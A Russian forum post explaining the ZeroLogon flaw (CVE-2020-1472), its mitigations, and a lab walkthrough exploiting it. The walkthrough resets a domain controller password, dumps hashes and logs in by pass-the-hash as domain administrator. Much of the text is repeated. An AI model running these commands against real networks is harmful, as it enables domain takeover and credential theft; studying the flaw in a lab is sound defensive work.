Всем привет!
В августе Microsoft выпустили обновление устраняющее уязвимость CVE-2020-1472. Эта уязвимость позволяет захватить контроллер домена.
Предлагаю немного углубиться в эту тему, разобраться в причинах и рисках, связанных с этой уязвимостью, и рассмотреть существующие эксплоиты.
В чем суть уязвимости ZeroLogon?
По большому счету, уязвимость CVE-2020-1472 заключается в несовершенстве схемы криптографической аутентификации Netlogon Remote Protocol. Этот протокол используется для аутентификации пользователей и машин в сетях, построенных на базе домена. В частности, Netlogon служит и для удаленного обновления паролей компьютеров. Уязвимость позволяет злоумышленнику выдать себя за компьютер-клиент и заменить пароль контроллера домена (сервера, контролирующего всю сеть, в том числе запускающего службы Active Directory). В результате атакующий может получить права администратора домена.
Кто уязвим?
Уязвимость CVE-2020-1472 актуальна для компаний, сети которых построены на базе контроллеров доменов под управлением операционных систем Windows.
В частности, злоумышленники могут захватить контроллер домена на базе:
Как защититься от атак с использованием ZeroLogon?
Компания Microsoft
Обновления не делают этого в принудительном порядке, потому что Netlogon Remote Protocol используется не только в Windows, — есть множество устройств на базе других ОС, которые также полагаются на этот протокол. И далеко не все из них поддерживают его защищенный вариант. Если сделать использование безопасной версии обязательным, эти устройства не смогут корректно работать.
Тем не менее, 9 февраля 2021 года контроллеры доменов переведут в этот режим в обязательном порядке, так что администраторам придется как-то решать проблему со сторонними устройствами до этой даты — обновлять или вручную прописывать в исключение. Подробнее о том, что делает августовский патч и что изменится после февральского, можно найти в
Информация об уязвимости взята отсюда:
Эксплуатация уязвимости ZeroLogon
Для демонстрации я подготовил стенд, на который установил Windows 2019 и Kali 2020.2.
На Windows 2019 настроен домен, последние патчи не устанавливались.
Kali2020.2 тоже в том виде, в котором её распространяют (т.е. без актуальных обновлений на момент публикации темы).
Все команды на Kali выполнялись от root, если вы работаете от пользователя kali - не забывайте про sudo!
Подготовка Kali2020.2
На Kali2020.2 нам нужно удалить старый Impacket, делаем это командой:
Далее устанавливаем pip3:
После этого копируем с github последний Impacket и устанавливаем необходимые библиотеки:
Теперь мы можем выйти из каталога Impacket и скопировать с github эксплоит zerologon:
После этого мы можем приступать к атаке на контроллер домена.
Атакуем контроллер домена
Первым делом сбрасывается пароль контролера домена:
Если скрипт отработал правильно и мы получили уведомление об успехе, выполняем команду для получения хешей с контролера домена:
Скрипт начнет выводить список хешей. Нас интересует хеш от учетной записи Administrator. Копируем его (между двоеточиями) и пытаемся подключится к контроллеру домена:
Кстати, подключиться, используя хеш, можно не только с помощью wmiexec.py (ещё на ум приходит WinRM или psexec)
Всё, у нас есть доступ к контроллеру домена и учетной записи администратора домена.
Дальше полет нашей фантазии уже ничем не ограничивается!
Видео с демонстрацией применения эксплоита (всё то же самое, что по тексту выше, но в формате видео и с фоновой музыкой)
Спасибо за внимание!
В августе Microsoft выпустили обновление устраняющее уязвимость CVE-2020-1472. Эта уязвимость позволяет захватить контроллер домена.
Предлагаю немного углубиться в эту тему, разобраться в причинах и рисках, связанных с этой уязвимостью, и рассмотреть существующие эксплоиты.
В чем суть уязвимости ZeroLogon?
По большому счету, уязвимость CVE-2020-1472 заключается в несовершенстве схемы криптографической аутентификации Netlogon Remote Protocol. Этот протокол используется для аутентификации пользователей и машин в сетях, построенных на базе домена. В частности, Netlogon служит и для удаленного обновления паролей компьютеров. Уязвимость позволяет злоумышленнику выдать себя за компьютер-клиент и заменить пароль контроллера домена (сервера, контролирующего всю сеть, в том числе запускающего службы Active Directory). В результате атакующий может получить права администратора домена.
Кто уязвим?
Уязвимость CVE-2020-1472 актуальна для компаний, сети которых построены на базе контроллеров доменов под управлением операционных систем Windows.
В частности, злоумышленники могут захватить контроллер домена на базе:
- всех версий Windows Server 2019, Windows Server 2016;
- всех вариантов Windows Server версии 1909;
- Windows Server версии 1903;
- Windows Server версии 1809 (Datacenter, Standard);
- Windows Server 2012 R2;
- Windows Server 2012;
- Windows Server 2008 R2 Service Pack 1.
Как защититься от атак с использованием ZeroLogon?
Компания Microsoft
Ссылка скрыта от гостей
, закрывающие эту уязвимость для всех затронутых систем. Они доступны с начала августа этого года, так что если вы еще не обновились, то лучше поспешить. Кроме того, компания рекомендует отслеживать все попытки логина по уязвимой версии протокола и выявлять устройства, которые не поддерживают новую версию. В идеале эксперты Microsoft считают необходимым перевести контроллер домена в режим, в котором все устройства должны использовать безопасный вариант протокола Netlogon.Обновления не делают этого в принудительном порядке, потому что Netlogon Remote Protocol используется не только в Windows, — есть множество устройств на базе других ОС, которые также полагаются на этот протокол. И далеко не все из них поддерживают его защищенный вариант. Если сделать использование безопасной версии обязательным, эти устройства не смогут корректно работать.
Тем не менее, 9 февраля 2021 года контроллеры доменов переведут в этот режим в обязательном порядке, так что администраторам придется как-то решать проблему со сторонними устройствами до этой даты — обновлять или вручную прописывать в исключение. Подробнее о том, что делает августовский патч и что изменится после февральского, можно найти в
Ссылка скрыта от гостей
наряду с подробными гайдлайнами.Информация об уязвимости взята отсюда:
Ссылка скрыта от гостей
Эксплуатация уязвимости ZeroLogon
Для демонстрации я подготовил стенд, на который установил Windows 2019 и Kali 2020.2.
На Windows 2019 настроен домен, последние патчи не устанавливались.
Kali2020.2 тоже в том виде, в котором её распространяют (т.е. без актуальных обновлений на момент публикации темы).
Hostname | Domain | IP | OS |
DC | Bearsec.loc | 172.16.0.26 | Windows Server 2019 |
Kali | - | 172.16.0.27 | Kali Linux 2020.2 |
Все команды на Kali выполнялись от root, если вы работаете от пользователя kali - не забывайте про sudo!
Подготовка Kali2020.2
На Kali2020.2 нам нужно удалить старый Impacket, делаем это командой:
Bash:
apt remove --purge impacket-scripts python3-impacket
Далее устанавливаем pip3:
Bash:
apt-get update
apt-get install python3-pip
Bash:
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/
pip install .
Bash:
cd ..
git clone https://github.com/risksense/zerologon.git
cd zerologon/
Атакуем контроллер домена
Первым делом сбрасывается пароль контролера домена:
Bash:
python3 set_empty_pw.py DC_NETBIOS_NAME DC_IP_ADDR
Если скрипт отработал правильно и мы получили уведомление об успехе, выполняем команду для получения хешей с контролера домена:
Bash:
python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'
Скрипт начнет выводить список хешей. Нас интересует хеш от учетной записи Administrator. Копируем его (между двоеточиями) и пытаемся подключится к контроллеру домена:
Bash:
wmiexec.py bearsec/administrator@172.16.0.26 -hashes <hash>
Всё, у нас есть доступ к контроллеру домена и учетной записи администратора домена.
Дальше полет нашей фантазии уже ничем не ограничивается!
Видео с демонстрацией применения эксплоита (всё то же самое, что по тексту выше, но в формате видео и с фоновой музыкой)
Спасибо за внимание!
Вложения
Последнее редактирование: